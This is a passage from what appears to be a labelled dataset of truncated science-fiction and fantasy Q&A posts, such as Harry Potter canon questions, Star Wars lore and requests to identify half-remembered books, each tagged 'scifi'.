regarding flying on a broom? Body: Specifically, are you allowed to fly on a broom before attending school? Ron and most of the classmates don't know how to fly, but Draco does. But that could mean he's just a natural, like Harry. Is ... ",['scifi'] "Title: I used to watch the same movie over and over when I was a kid: Body: It was a feature, not an episode. Rented it repeatedly on VHS from a place near my house. This was around 1986. It was a live action hero-vs-baddies, and looking back, it was pretty Power Ranger-y ... ",['scifi'] "Title: What happened to Cylon model number Seven? Body: So obviously in Battlestar Galactica it's revealed that there are 12 models: The Significant Seven and the Final Five. The problem is that the models go like this: Number One Number Two Number ... ",['scifi'] "Title: Green dragon riders sexual encounters in Pern series? Body: Did green dragon riders have homosexual encounters with the other male dragon riders when their greens were flying? In The White Dragon, when Mirrim's Green was proddy, the other dragon riders were ... ",['scifi'] "Title: Identify story about a fantasy world threatened by aliens Body: Children's / YA book, don't remember too much about it. Main character is a wizard/apprentice? Prophecy of imminent destruction, quest to prevent it. Other fantasy races: trolls, living in ... ",['scifi'] "Title: Book about a society in a sunken ship Body: I remember reading a book about a ship that sinks and they manage to make it airtight and create oxygen/food with hydroponics and they end up living at least one generation in there... anyone know the ... ",['scifi'] "Title: Does the Ender's Mind game ever get explained? Body: In the third book of the Ender's saga Xenocide, The Bugger Queen explains that the Mind Game program was used as a medium to help make contact with Ender. I don't really need an explanation here, ... ",['scifi'] "Title: How many Jedi use red lightsabers? [closed] Body: We know some Jedi use red Lightsabers, but I'd like to know who all of them are. I know Adi Gallia originally used a red blade. ",['scifi'] "Title: In the Valdemar series by Mercedes Lackey, what happens to a Companion when the Herald dies of ''natural causes''? Body: I recently read a short story in ''Changing the World and other tales of Valdemar'', the first one (actually written by Lackey, I would write the title, but I can't find my copy at the moment). In ... ",['scifi'] "Title: Why Did J.R.R. Tolkien Capitalize Certain Words Throughout His Books? Body: Why did J.R.R. Tolkien randomly capitalize various words throughout his books? My husband asked me this question today and we were wondering if there's any rhyme or reason to Tolkien's capitalization ... ",['scifi'] "Title: Help me remember a children's book set in the future Body: Years ago, in the 2000s, someone handed me a novel about the journey of a girl in a post-apolyptic world where the sun was always covered by clouds, no plant life grew and the world was without color. ... ",['scifi'] "Title: Was Yoda a Padawan or a Jedi Knight? Body: I have come across some seemingly contradictory information while reading about Yoda's early life. The Wookieepedia entry on Yoda states: Master Gormo took them to his home where he trained them ... ",['scifi'] "Title: Why did Alice lead the survivors through the graveyard in Resident Evil: Apocalypse? Body: After meeting/rescuing the survivors in the church, Alice walks with them while explaining some of the situation. She leads the group through a graveyard. At this point, Alice already knows that the ... ",['scifi'] "Title: Title of a time travel movie involving a boy in alien armour and a girl? Body: So years ago I saw this move with time travel but I didn't watch it from the very beginning. I really would appreciate finding out the title of this movie. Some random facts from this movie (I'm not ... ",['scifi'] "Title: How did the land line phone exits work in the Matrix? How did they get from the line they jacked into to the line they jacked out of? Body: I imagine there were ancient pod people powered phone switch rooms scattered throughout the ruins in The Matrix movies, and that's why certain phones were still viable years after the sky was ... ",['scifi'] "Title: Is there a canon confirmation of why Dumbledore never gave Snape DADA teaching job? Body: We know from the books that Severus Snape always wanted DADA teaching position. Is there any canon (books/interviews/pottermore) confirmation of why exactly Dumbledore didn't want that to happen in ... ",['scifi'] "Title: Orphan siblings from another planet search their family's origin Body: I am trying to find the name and author of a story that I read during my teenage years. The story involved a family of descendents from another planet. The story involve a brother and sister. The ... ",['scifi'] "Title: What's the story with planet Zeist vs. Earth? Body: From Highlander 2 Wikipedia: On the planet Zeist, a last meeting is held between the members of a rebellion against the rule of General Katana. The rebellion’s leader, Ramirez, chooses ""a man of ... ",['scifi'] "Title: Trying to find the title of a fantasy book where the main character has living hair? Body: I'm trying to find the title of a fantasy book from the 90s. This is what I remember seeing on the cover: she has wild white hair kind of changing into lighting and a shadow friend What I remember: ... ",['scifi'] "Title: Could any of the other eight Wraiths be destroyed by man? Body: A prophecy ""He will not return to this land. Far off yet is his doom, and not by the hand of a man will he fall."" —Glorfindel, The Return of the King, Appendix A (iv) has been interpeted by ... ",['scifi'] "Title: Who makes or manufactures Lightsabers Body: As my title says. Who makes them, or can they be done via spare parts. It seems that if they stop manufacturing light sabers to their enemies, they would then have balanced the force. ",['scifi'] "Title: Why Is the Leaky Cauldron Famous? Body: Why is the Leaky Cauldron¹ famous? ‘This is it,’ said Hagrid, coming to a halt, ‘the Leaky Cauldron. It’s a famous place.’ [...] For a famous place, it was very dark and shabby. ... ",['scifi'] "Title: How does the paralyzing device used on Tony Stark work? Body: The answer by @Bevan to this question made me wonder: how exactly does the paralyzing device used by Obadiah work ? I'll take the liberty of re-using his screenshot here. As mentioned in the above ... ",['scifi'] "Title: Why did Walter use video tapes in Fringe? Body: Is there an in universe explanation as to why Walter onto video tapes rather than using DVD or video file. It seems to be very problematic to retrieve them and they seem to be very prone to ... ",['scifi'] "Title: Is there a Known Space story about a field that catalyzes combustion? Body: In the Niven short story ""Madness Has Its Place"", there's this passage: The ARM suppresses dangerous technology. What the ARM buries is supposed to stay buried. I remembered a kind of time ... ",['scifi'] "Title: Looking for the title of a graphic novel featuring a spaceship shaped like a bird and a gigantic earthworm Body: I am trying to identify a book that I read in the mid 1980's. Some details: It was a graphic novel, or comic. All black and white, if I remember correctly. The main character was a human, though I ... ",['scifi'] "Title: Could Kreia's plan to destroy the Force actually succeed? Body: In the Star Wars video game Knights of the Old Republic II, the final antagonist, Kreia (Darth Traya) wanted to completely destroy the Force by sacrificing herself in the wound in the force on ... ",['scifi'] "Title: Will/do/should Klingons in Star Trek reboot have head ridges? [duplicate] Body: Possible Duplicate: Are there in-universe explanations for how some species' appearances change between series? I don't recall Klingons appearing in the Abram's Star Trek reboot film ... ",['scifi'] "Title: Death Eater Silhouette Body: In Harry Potter, what are those black wavy things the Death Eaters turn into called? I have read the books, but it was long ago. I had just came across a clip today and came to my senses that I had ... ",['scifi'] "Title: Who Owns the Hogwarts House-Elves? Body: Who owns the Hogwarts house-elves? ‘Well, whoever owns [Dobby] will be an old wizarding family, and they’ll be rich,’ said Fred. ‘Yeah, Mum’s always wishing we had a house-elf to do the ... ",['scifi'] "Title: Has The Doctor ever just run? Body: The format of the show seems fairly standard. The Doctor turns up in his big blue box, sees a problem, and doesn't leave until it's solved. Sometimes the problem is that he can't just escape, largely ... ",['scifi'] "Title: Why was The One Ring “precious”? Body: Many of the Ringbearers (particularly those who carried it longer) used the word ""precious"" to describe it. Isildur described it as: ""But for my part I will risk no hurt to this thing: of all the ... ",['scifi'] "Title: Why Did Tom Riddle Want to Go After Mrs. Norris? Body: In the question How did Ginny Weasley set the Basilisk on Muggleborns without getting killed or petrified?, Tom Riddle mentions that he had Ginny set the Basilisk on Mrs. Norris, Filch's cat. ... ",['scifi'] "Title: How do you pronounce 'Tej'? Body: Ivan's book is finally here, and there's a new character named Akuti Tejaswini Jyoti ghem Estif Arqua, or Tej for short. I don't think I even want to attempt that mouthful of a full name, but I need a ... ",['scifi'] "Title: In Gibson's Sprawl trilogy, why did Wintermute split itself into the different Loas? Body: Neuromancer is one of my favorite novels due to its evocative prose, and vivid descriptions. However, I feel like sometimes I can't quite figure out some details. One thing that has puzzled me is why ... ",['scifi'] "Title: Short story about people who lived only a few days Body: Does anyone know the name of the short story in which the characters only lived a few days from birth to death? I believe it involved a ship where time was experienced normally. I recall the story ... ",['scifi'] "Title: How are Norse gods of Dark Horse comics related with Marvel comics? Body: In The Mask franchise of Dark Horse comics, Asgardian mythologies are mentioned. In Son of the Mask (2005) movie, I have seen Loki, Odin & have listened about Thor. How are they related with Odin, ... ",['scifi'] "Title: How did Odin lose his one eye & why couldn't he fix it? Body: Providing Odin was a very powerful god, its very unlikely that someone just knocked his eye off easily. How did he lose his eye exactly? And, why is he unable to fix it? I think, he can alter the ... ",['scifi'] "Title: Why wasn't Agent J still injured? Body: Towards the end of the third installment of Men in Black: Why wouldn't Agent J still be injured from his encounter with Boris the Animal? ",['scifi'] "Title: Looking for a fantasy love story with time travel Body: I read a book in the 90's that was a romantic story. More than 1 book made up the story- I think possibly 2 parts. It was about a girl who ended up at an old mansion when on a walk. She went ... ",['scifi'] "Title: Is Batman's 'relationship' with Wonder Woman comic-book canon? Body: In the Justice League cartoon, as well as the direct follow-on cartoon Justice League: Unlimited, Batman is subtly portrayed as being either in a relationship with Wonder Woman, or at least they are ... ",['scifi'] "Title: Did Harry Potter ever wear contacts? Body: I've read all the books and seen all the movies (at least 3 times ;)), but I've been wondering, is there ever a time when Harry wears contacts instead of glasses? My memory is pretty good, but it's ... ",['scifi'] "Title: What is the volition in TimeCrimes? Body: TimeCrimes (or los Cronocrimenes) is an outstanding Spanish time-travel mystery. Therein, So where does the volition come into this? It's not enough to say Where did it come from? It's an ... ",['scifi'] "Title: I'm looking for an episode in Star Trek: TNG where aliens are testing on the crew Body: I'm looking for an episode from Star Trek TNG where the crew is being tested by aliens. The only part I remember is near the end where Picard traps one on the bridge in a force field and says ""we know ... ",['scifi'] "Title: Buffy The Vampire Slayer and Angel: Why is Spike on the cover of both? Body: The cover art for Buffy the Vampire Slayer (as seen on Netflix) shows Buffy, Faith and Spike. Where one could argue that faith is a major character, Spike is almost definitely nothing more than a ... ",['scifi'] "Title: Does Captain Kirk drink decaf? Body: In many episodes of Star Trek TOS, Kirk is seen either drinking coffee or being served coffee by one of his yeomen. With all that is known about Kirk in Memory Alpha and other canonical sources, it ... ",['scifi'] "Title: Symbolism of characters at the end of V for Vendetta? Body: Happy Fifth of November, all. At the end of V for Vendetta, in the crowds of folks wearing the Fawkes masks, we see the faces of more than a few people that have been established as dead earlier in ... ",['scifi'] "Title: Who are the villains at the end of the 90s X-Men cartoon intro? Body: At the end of the 90s X-Men animated series intro, there is a clash between the Professor Xavier's X-Men and Magneto's team. I recognize most of the villains, but am unable to identify a few of them. ... ",['scifi'] "Title: Trying to remember a story about a guy that goes back in time and brings mythical creatures to the future Body: I am trying to remember the title of a story where a man is sent back in time to collect extinct animals for his era's zoo. For some reason, he only locates and brings back mythical creatures. I read ... ",['scifi'] "Title: What is the significance of Frodo's dream before entering the Old Forest? Body: Just prior to leaving the house at Crickhollow and entering the Old Forest, Frodo has a dream: Eventually he fell into a vague dream, in which he seemed to be looking out of a high window over a ... ",['scifi'] "Title: Could Superman be killed by a bullet made out of Kryptonite? Body: Superman's only weaknesses are magic and Kryptonite (the latter makes him lose his durability). If he was shot using a bullet made out of Kryptonite, would it kill him? ",['scifi'] "Title: How does the T-1000 see? Body: In Terminator 2: Judgement Day, how does the T-1000 sense things? It's made of mimetic poly alloy; however, does it have a retinal scan camera like the T-X or T-800, or is just molecules that allow it ... ",['scifi'] "Title: What does the T-1000 hit just before it stabs the T-800 all the way through leading to the alternative power scene? Body: When the T-1000 hits the T-800, first with a jab with the metal rod, what is it hitting? It sounds like some kind of plate or perhaps its spinal column. How likely is it that it pries open the plate ... ",['scifi'] "Title: Is Major Nelson gay in I Dream of Jeannie Body: Based on this comment: What at the minimal limits of Jeannie's power in I Dream of Jeannie? Jeannie is always trying to get Major Nelson to marry her. As I remember, he plays some lip-service to ... ",['scifi'] "Title: TV show where something living in a well filled containers with gold and jewels? Body: It was a show in the 80s or early 90s. The episode I remember was about a man and his daughter who found a well or a hole in the ground. They would send a bucket down and something would fill it ... ",['scifi'] "Title: What are the minimal limits of Jeannie's power in I Dream of Jeannie? Body: Inspired by Why did Major Nelson need to hide Jeannie from Dr. Bellows? Based on what we see in the show, what are the limitations of Jeannie? If she actually states she has limitless power, there ... ",['scifi'] "Title: Is Galen Marek AKA Starkiller part of the Star Wars canon? Body: I just wanted to know this. Thank you! If this is too basic, may I ask where can I find if something is star wars canon or not? ",['scifi'] "Title: Was the “Leave now and never come back” dialogue in the film taken from The Lord of the Rings books? Body: In the Lord of the Rings film, does the scene where Sméagol/Gollum says to himself: ""leave now and never come back"" appear anywhere in the books? ",['scifi'] "Title: Help find a novel with a female heroine from, at latest 1990 in a two part novel? Body: I read a novel back in junior high so around 1989 that was a fantasy novel with a female heroine. All I remember is that I think it was 2 book series. Once when the heroine was young and then again ... ",['scifi'] "Title: What were Dumbledore's actual intentions for the Elder Wand? Body: This question contains spoilers. Upon viewing the question, How was Harry supposed to defeat Voldemort in Dumbledore's original plan? I thought that the OP had erred by saying ""[Dumbledore] believed ... ",['scifi'] "Title: Can Rogue harness Wolverine's adamantium blades after touching him? Body: Rogue has the ability to harness the abilities of other mutants for a short while upon any sort of skin contact. Upon touching Wolverine she is able to use his regenerative properties but what about ... ",['scifi'] "Title: Which Harry Potter Characters Appear in All Seven Books Only to Die In Book Seven? Body: Which Harry Potter characters appear in all seven books, only to die in book seven? [MAJOR SPOILERS/CHARACTER DEATHS] I can go either way on Harry, depending on your interpretation of the King's ... ",['scifi'] "Title: What book has Earth's surface covered with a raised platform with a jungle underneath? Body: I once read a sci-fi story about a distant future where mankind has recovered the earth with some kind of huge platform, massively increasing its habitable surface. To do this massive task they've ... ",['scifi'] "Title: Did River's Past not happen? Body: Warning contents of post may travel forwards and ƨbɿɒwʞɔɒd at the same time, due to River/The Doctor's timeline. Post Lake silencio, where does River stand? She should never have been in Prison, ... ",['scifi'] "Title: Did Roddenberry think eugenics was already going on (as evidenced by Khan's age)? Body: In the episode Space Seed in the original series, Khan is awakened from suspended animation, where he's been since the early 1990s. He is said/implied a product of eugenics, and his crew escapees ... ",['scifi'] "Title: Have Shuster and Siegel ever cameoed in a comic? Body: I'm trying to find out if Shuster and Siegel ever put themselves in one of their comics or if they've been cameoed by other artists/writers? Either as themselves or as characters easily recognised as ... ",['scifi'] "Title: Does Spike Spiegel's cybernetic eye enhance his vision in any way? Body: It is known that he lost his right eye in an accident and he got a cybernetic eye as a replacement, but does this replacement eye help to improve his vision in any way? (Besides obviously having two ... ",['scifi'] "Title: Did they have witches in Oz before Dorothy's era? Body: When Dorothy arrived to Oz, she found out that the country was divided into 4 sectors, with a witch (2 good 2 bad) living in each sector and (presumably) ruling it. Was that always the case or were ... ",['scifi'] "Title: What are the legal/ethical statuses of 'Smart' AIs in HALO? Body: After seeing this and this question, I wondered, what about so-called 'Smart' AIs in the HALO universe (i.e. Cortana, Kalmiya)? Do these AIs have 'rights'? Apparently Dr. Halsey broke numerous laws ... ",['scifi'] "Title: Why did C-3P0 close down while Luke talked to Ben in A New Hope? Body: When they where in Old Ben's dwelling, C-3P0 made this strange request to Luke: THREEPIO: Sir, if you'll not be needing me, I'll close down for awhile. LUKE: Sure, go ahead. Why did he want ... ",['scifi'] "Title: Why doesn't Blood stick on Wolverine's blades? Body: Wolverine has stabbed a number of opponents using his adamantium blades in the movies but every time he does so and takes out the blade from someones' body it's nice and shiny. There's not even a ... ",['scifi'] "Title: Why did these people die in Serenity (spoilers!)? Body: You've been warned - spoilers ahead - only mouse over if you're OK with that. In the film Serenity: ",['scifi'] "Title: What does Vader's HUD say in Revenge of the Sith? Body: Near the end of Revenge of the Sith Anakin's burned and mutilated body was retrieved by Palpatine and taken to a hospital. Prosthetics were attached to Anakin's stumps and Vader's familiar mask and ... ",['scifi'] "Title: Why is C-3PO driving the landspeeder? Body: In “A New Hope” Luke lets C-3PO, a protocol droid he just bought the day before, drive the landspeeder on their search to find R2-D2. Is there any good reasoning involved? ",['scifi'] "Title: Did Keuller use Force lightning in The New Rebellion? Body: I don't have access to The New Rebellion book and Google books doesn't provide enough details about Keuller's use of Force lightning1. Can anybody tell me if Keuller uses Force lightning in the book. ... ",['scifi'] "Title: In what order should I read the 'extended' Cthulhu Mythos? Body: The Cthulhu Mythos is a pretty huge topic. It spans multiple authors and decades. I'm not after a complete list, in fact I'm most interested in the first phase, the one directed by HPL, not the ... ",['scifi'] "Title: Are both of Vader's wrists artificial? Body: Are both of Vader's wrists artificial? Vader's right hand is prosthetic (first cut off by Count Dooku in Episode II, and then we see the prosthetic fully exposed when Luke cuts the mechanical wrist ... ",['scifi'] "Title: How did the chameleon circuit break? Body: There is already a question asking: Has the TARDIS's chameleon circuit always been broken? The consensus seems to be 'Yes'. The question I'd like know, is how did it break? ",['scifi'] "Title: What is the origin of a phylactery as a soul jar? Body: The original use of Phylactery is from Ancient Greek phylacterion, form of phylássein, φυλάσσειν meaning ""to guard, protect"" ~Wikipedia and was originally meant to refer to 'Tefillin', boxes ... ",['scifi'] "Title: Where did Hogwarts get money for salaries, food and other purchases? Body: We know that you can't transfigure food, so you have to grow it or buy it. Ditto money. I'm sure that aside from some medicinal plants Herbology Professor had there were no farmlands at Hogwarts. So ... ",['scifi'] "Title: What book was a post apocalyptic, nuclear-age, old world war style Body: I read a book about 5 years ago that was a post-apocalyptic, nuclear age, maybe a World War III type book. I remember that there was a lot of radiation disease and that there was some guy with a stash ... ",['scifi'] "Title: Which comic books about Ironman and Superman should I read first? Body: I never read comics, but now I want to start reading comic books in the Ironman and Superman universes, so where should I start and in what general order should I read the series? ",['scifi'] "Title: Why wasn't Nuclear Man born naked? Body: In the movie Superman IV: The Quest for Peace, Lex Luthor used Superman's DNA & the fusion power of the Sun to give birth to Nuclear Man. In the movie, it was shown how the embryo grew to full ... ",['scifi'] "Title: How did Superman reverse the destruction of the Great Wall of China? Body: Everyone knows that Superman doesn't have magical abilities. He can't simply construct something just by thinking about it. In the movie Superman IV: The Quest for Peace, Nuclear Man destroyed the ... ",['scifi'] "Title: Who's the villain in Iron Man 3? Body: The Iron Man 3 trailer was released recently. In it, there's a villain who seems to be targeting Tony Stark. It seems like he's trying to prove a point about superheroes - that there is ""no such ... ",['scifi'] "Title: Why don't Starfleet Officers wear protective gear when going abroad? Body: So I've watched pretty much all the Star Treks and from what I've seen, Star Trek officers don't wear any protective gear! Why don't they wear any kind of armor like the Klingons? Is it because the ... ",['scifi'] "Title: Is there an in-universe evidence reflecting that Clark Kent is Methodist (as opposed to other denominations)? Body: As per Elliot S! Maggin's notes, Clark Kent is Methodist. Is there clear in-universe canon reflection of that? ANY canon is OK, comics, TV, animation. I'm fine with any kind of support, either in ... ",['scifi'] "Title: Is there a reading order of the Enderverse books following Bean's story? [duplicate] Body: Possible Duplicate: What’s the recommend reading order of the Ender Wiggin books? I'm not new to the Enderverse, having read Ender's Game, Ender's Shadow, Speaker for the Dead, Xenocide and ... ",['scifi'] "Title: Do Jedi hold back with their force powers? Body: Various questions that I've seen have assumed that a Jedi could have/should used their powers at some point, be it force speed, force push etc. Thinking back to the films, we don't see a gratuitous ... ",['scifi'] "Title: What is the canonical range of speed a podracer might achieve? Body: In Star Wars - Episode I: The Phantom Menace, we are introduced to the sport of Galactic Podracing. These podracers are supposed to be capable of insane land speeds, but we aren't told in the movie ... ",['scifi'] "Title: Did Darth Sidious know that Anakin was supposed to be the Chosen One? Body: ""You refer to the prophecy of the one who will bring balance to the Force. You believe it's this....boy?"" ― Mace Windu to Qui-Gon Jinn So, we know that the Jedi had theories/suspicions that ... ",['scifi'] "Title: Was the footage Tony Stark saw of the Hulk original or was it from a previous movie? Body: When Agent Coulson visits Stark and Potts in Stark Tower, he gives Stark all of their information on the various Avengers. When Stark pulls it up he sees footage of the Hulk rampaging through some ... ",['scifi'] "Title: Why is it so hard to detect Replicants? Body: In Blade Runner (1982), Deckard used the Voight-Kampff test to detect Replicants. This complicated test verified if their emotional response was appropriate. But they also displayed superhuman ... ",['scifi'] "Title: Why does Superman put one or both arms up when he flies? Body: When Superman flies his typical position is either one arm, or both out in front of him (either flat palm or fist closed) There are occasions where he does fly with his arms at his sides (usually ... ",['scifi'] "Title: Boy abducted by aliens Body: I'm trying to remember the name of a book that I read in the 90's. It was a YA novel about a nerdy kid who was abducted by aliens and ends up travelling with them for awhile. There were a couple of ... ",['scifi'] "Title: Did Wolverine's bones regenerate before being enhanced with Adamantium? Body: Wolverine had healing powers from the very start. Before Wolverine had his skeleton enhanced with Adamantium, his bones were breakable as shown in X-Men Origins: Wolverine. Did his healing power ... ",['scifi'] "Title: Is Magneto officially an Omega Level Mutant? Body: I've read various forums suggesting he is an Omega Level Mutant (I agree with others that this term maybe needs rewording or defining) however in my experience he has never been officially mentioned ... ",['scifi'] "Title: How deep was Coruscant's surface buried? Body: I knew that Coruscant's undercity received no light, but I didn't realize how big it was. In the trailer for the upcoming game Star Wars 1313, a panoramic shot of level 1313 is shown: You can ... ",['scifi'] "Title: Could a bullet made out of Muramasa blade kill Wolverine? Body: Murasama blade was described by Wolverine as ""the only thing in the world that could put him down."" as it cuts his skin at molecular level. If we harness a bullet out of the blade and shoot Wolverine ... ",['scifi'] "Title: In Good Omens, is there any joke involving Pollution and Elvis? Body: In Good Omens by Neil Gaiman and Terry Pratchett, there are jokes about Elvis Presley that clearly relate to at least three of the four apocalyptic horsepersons. The newspaper War works for is ... ",['scifi'] "Title: Can an Animagus Be Infected With Lycanthropy While In Animal Form? Body: Pursuant to Why did Remus and Sirius fight in Prisoner of Azkaban (Werewolf vs Dog) I wondered if a human in Animagus form could be infected with lycanthropy if bitten by a werewolf. An Animagus ... ",['scifi'] "Title: Story about an insurance adjuster from outer space Body: This story that I read maybe 15-20 years ago (and was definitely published during this period) was told in 1st person point of view and the protagonist was an insurance adjuster. The story took place ... ",['scifi'] "Title: How did the Silence know about Melody? Body: Some way along the way in season 5 Amy Pond becomes pregnant... How long had they been planning that? How did they know Amy would give birth to a Had they been planning this all along or was it ... ",['scifi'] "Title: When Did Voldemort Realize the Value of Harry's Blood? Body: In Harry Potter and the Philosopher's Stone, Voldemort is happy to see Harry dead and in the chapter The Man With Two Faces he orders Quirrell multiple times to kill Harry. And Quirrell, though ... ",['scifi'] "Title: Why does the aguamenti spell work? Body: Gamp's Five Laws of Elemental Transfiguration specifically state that nourishment cannot be conjured from thin air. Then how can the aguamenti spell work? Does it just take water from somewhere else, ... ",['scifi'] "Title: Why did the Science Officer not get chosen for the mission to the alien spacecraft? Body: After the Nostromo detects a signal from a potentially intelligent alien, the crew are arguing what to do about it. Most of the crew want to ignore it and return home, but Ash (Science Officer) ... ",['scifi'] "Title: Who rules what in Once Upon a Time? Body: There are several kings, queens, princes, etc. in the magical realm of Once Upon a Time, but I’m having trouble keeping them straight. Is there a hierarchy, or are there neighboring kingdoms & ... ",['scifi'] "Title: Would the special silk spiders in The Amazing Spider-man have made anyone they bite super-powered? Body: In The Amazing Spider-man, Peter Parker is poking around Oscorp when he goes into a silk thread producing chamber. He disrupts the machine (or something) and all of the spiders fall to the ground. One ... ",['scifi'] "Title: Killing people in the future vs sending them back in time Body: Considering how the mob in the future went into such trouble to dispose of ""unwanted"" individuals, sending them to the past, Wouldn't there be serious repercussions to their actions? If not, ... ",['scifi'] "Title: Is the red beam coming out of CYCLOPS' eye a laser beam? Body: We have all seen that Cyclops projects a red-coloured beam out of his eyes. What is that red beam. Is it laser or something else? ",['scifi'] "Title: Death of the younger version of a Looper Body: The first time we see an older Looper who is not properly killed, Yet later in the film when Why didn't they simply kill the younger Looper in order to eliminate the older Looper? ",['scifi'] "Title: What is the Sith Emperor Vitiate's lightsaber form? Body: I saw that in the KOTR Star Wars game, Sith Emperor (Vitiate) uses a lightsaber. I've never played the game, but those who have, based on his actions, what light-saber form do you think Vitiate ... ",['scifi'] "Title: How did Lilith hold the contract? Body: Apologies for the block of spoiler text: Throughout season three: Normally a Cross Road's demon holds the contracts on a soul, as they are the ones who the brother's have manipulated to get them ... ",['scifi'] "Title: In the movie I, Robot, how does USR have military contracts if robots have to follow the first law? Body: In the movie it states that the first rule of robotics is that a robot must never harm a human being through action or inaction. It also says that the second and third law only apply if they don't ... ",['scifi'] "Title: The cliche science fiction glass tube filled with liquid and a person floating in it, what do you call it? Body: For nearly every other science fiction trope there is a name. A movie where the heroes travel faster than light, whether they actually name the mechanism or not, will be called ... ",['scifi'] "Title: When/How would Star Trek captains update their log? Body: Frequently during episodes of Star Trek: TNG, we would hear Captain Picard (or sometimes other characters) read out his log entries. It was fairly apparent that out-of-universe this was often intended ... ",['scifi'] "Title: Who was allowed to enter the “Chamber of Guardians” on Oa? Body: In the Green Lantern movie, when Hal Jordan entered the Chamber of Guardians on Oa, Sinestro was angry with him, saying: You dare enter this chamber? Who was allowed to enter that chamber? Is ... ",['scifi'] "Title: What are the chase lights under Star Trek viewscreens for? Body: Under the viewscreen on many Federation starships, there are a series of lights that constantly run through a chase or 'marching ants' pattern. What's the reason for these lights? Are they status ... ",['scifi'] "Title: Why was Amy Pond able to speak to a past version of herself? Body: In Father's Day, it seemed to be established that if a person sees or interacts with a version of themselves from the past/future, reapers appear and devour everything that doesn't belong in the ... ",['scifi'] "Title: Help me find a story where your consciousness can travel in time via use of drugs? Body: I read a novel about 15 years ago, with time-traveling as the main topic. People can send their current consciousness to the past or the future inside them, with 2 kind of drugs respectively. With the ... ",['scifi'] "Title: When did Sam & Dean stop saving possessed people and start killing? Body: This has been bothering me for a while. In early encounters with demons, Sam & Dean (and Bobby) would capture a demon and perform an exorcism to try to save the person who was possessed. ... ",['scifi'] "Title: Was the alien in the yellow armor helping the humans? Body: After having watched the movie Battleship, there were a number of things that I did not understand. One of which was the role of the (scientist/engineer?) alien in the (yellow?) armor. On at least ... ",['scifi'] "Title: Why did Sinestro put on the yellow ring at the end of the Green Lantern movie? Body: In the Green Lantern movie, there was an after-credit scene which displayed that Sinestro put on the yellow ring of fear. Sinestro wasn't a dumb guy. He was one of the smartest Lanterns in the ... ",['scifi'] "Title: Was Lando trying to warn off our heroes? Body: It's funny how after having seen it a hundred times, all these years later, I finding new things in the Star Wars Trilogy. It never occurred to me until the other day why the Millenium Falcon received ... ",['scifi'] "Title: Where's Kevin's archangel? Body: In the TV series Supernatural, when we were first introduced to prophets, we learned they're always protected by an archangel. These serve to keep the prophet safe from harm. However, in Season 7, ... ",['scifi'] "Title: Was Wolverine the first comic character to have long claws as their main identification? Body: When I picture wolverine in my mind I can't help but think of him with claws out. It is his single most identifiable trait. He has healing powers and strong olfactory senses but the claws are what ... ",['scifi'] "Title: Why does it take Noriko so long to get home? Body: In the final episode of Top o Nerae! Gunbuster, Why has it been so long, when the previous trip only took a few years? Did they know it would take so long when they left? ",['scifi'] "Title: Why can Jedi marry in the New Jedi Order? Body: In the Jedi order before the purge (Order 66) was carried out, Jedi weren't allowed to marry. The attachment that comes with matrimony and love made the potential of turning to the Dark Side a real ... ",['scifi'] "Title: What criteria was used when selecting to attack humans? Body: In the movie Battleship, the aliens seems to somehwhat discriminate whether or not to attack. It was pretty obvious that when the aliens detected something as a threat, It would attack. The converse ... ",['scifi'] "Title: Who or what was Xena? What is she based on? Body: The story of Hercules is a well known trope: Demi-god, cast to earth, must make good to his father. Simple, effective. Xena has always puzzled me, as I assumed she had a similar back story to ... ",['scifi'] "Title: Name of futuristic novel with humanoids and a starship Body: I remember a novel I read back in the nineties that involved a futuristic war between two opposing humanoid factions that have settled various planets in the solar system. I remember there being ... ",['scifi'] "Title: Who was the woman watching from a window in Lord of Chaos? Body: At the end of Lord of Chaos, Chapter 12: ""Questions and Answers"": Neither saw the woman watching them from a second-story window. Do we ever find out who it was, or what the significance was? ",['scifi'] "Title: What was “one more murder” that Voldemort was planning and talking about in GoF Ch. 1? Body: From the Goblet of Fire, Chapter 1 (THE RIDDLE HOUSE): ""If?"" whispered the second voice. ""If? If you follow the plan, Wormtail, the Ministry need never know that anyone else has died. You will ... ",['scifi'] "Title: What was the first depiction of China as a future superpower? Body: There is a recent trend to portray China as the future's next dominating superpower / rulers of the world or other things among these lines. They have been in the news in the last couple of years, ... ",['scifi'] "Title: Is Apollo 18 real or just a fiction film? Body: Is apollo 18 a real documentary as the introduction of the film says or just another science fiction film? If it is science fiction, then why does the film say it is based on real footage found in ... ",['scifi'] "Title: Are there any canon discrepancies preventing the Warhammer universe from being the future of the Star Trek universe? [closed] Body: Talk about clash of the worlds! The Star Trek universe to my knowledge only extends up to the 29th centuary (or the 2.9th millenia), has had something similar to the STC disaster and features a ... ",['scifi'] "Title: Unlikely female heroine, meets floating mages; What was this title? Body: I read a fantasy book as a youth that I cannot for the life if me remember the title to. It's all rather fuzzy except one particular scene and detail. I'll list what I can remember. It's a female ... ",['scifi'] "Title: Book where a girl's reflection tricks her into swapping places? Body: I could have sworn the book was one of the Goosebumps series but I can't seem to find it. The book was about this girl who didn't like how she looked and one day she looked in the mirror and her ... ",['scifi'] "Title: Which Doctor Who episodes were written by Steve Cole? [closed] Body: I was reading on this site that Steve Cole wrote some Doctor Who episodes. Which episode(s) did he write? ",['scifi'] "Title: Exhaust fed into fuel fill spout? Body: In the movie Looper, it looked like the pick-up trucks that Joe and Sara drove had their muffler exhausts fed into the fuel fill spout. What might the purpose of that be? ",['scifi'] "Title: Was Aragorn's First Language Elvish? Body: Aragorn was taken to Rivendell by his mother when he was two years old; presumably he lived in Rivendell for some time, as in one of the Peter Jackson movies he mentions to, I believe, Éowyn that he ... ",['scifi'] "Title: What is the oldest difference between the red and blue universes in Fringe? Body: In ""6955 kHz"", a shapeshifter refers to ""all's fair in love and war"" as ""something they say on this side,"" implying that they don't say it on the Other Side. Google tells me that the phrase can be ... ",['scifi'] "Title: In Star Trek: Insurrection did the reasoning make sense? Body: Why didn't the Son'a want to share the planet with the Ba'ku? The admiral seemed to agree the only option was to move the Ba'ku? ",['scifi'] "Title: How did Fred and George Weasley obtain the Marauder's Map? [closed] Body: The map belonged to one of the Marauders. The Weasley twins were not related to any of them. How come they inherited the map? ",['scifi'] "Title: What is the title of this children's book? [closed] Body: This is a children's book that I read as a child in the UK, which would have been mid to late 1980s. Unfortunately I cannot remember much about it. The details that stick in my mind are: It was ... ",['scifi'] "Title: When were fixed points in time first introduced? Body: The 11th doctor seems to address the idea of fixed points (creating them, changing them, etc) far more then previous Doctors. Is this a recent thing, or has fixed points always been a ""thing"" in ... ",['scifi'] "Title: How is the Harry Potter universe not completely dominated by werewolves? Body: It seems that the bite of a werewolf transmits the ""condition"", nobody is immune to 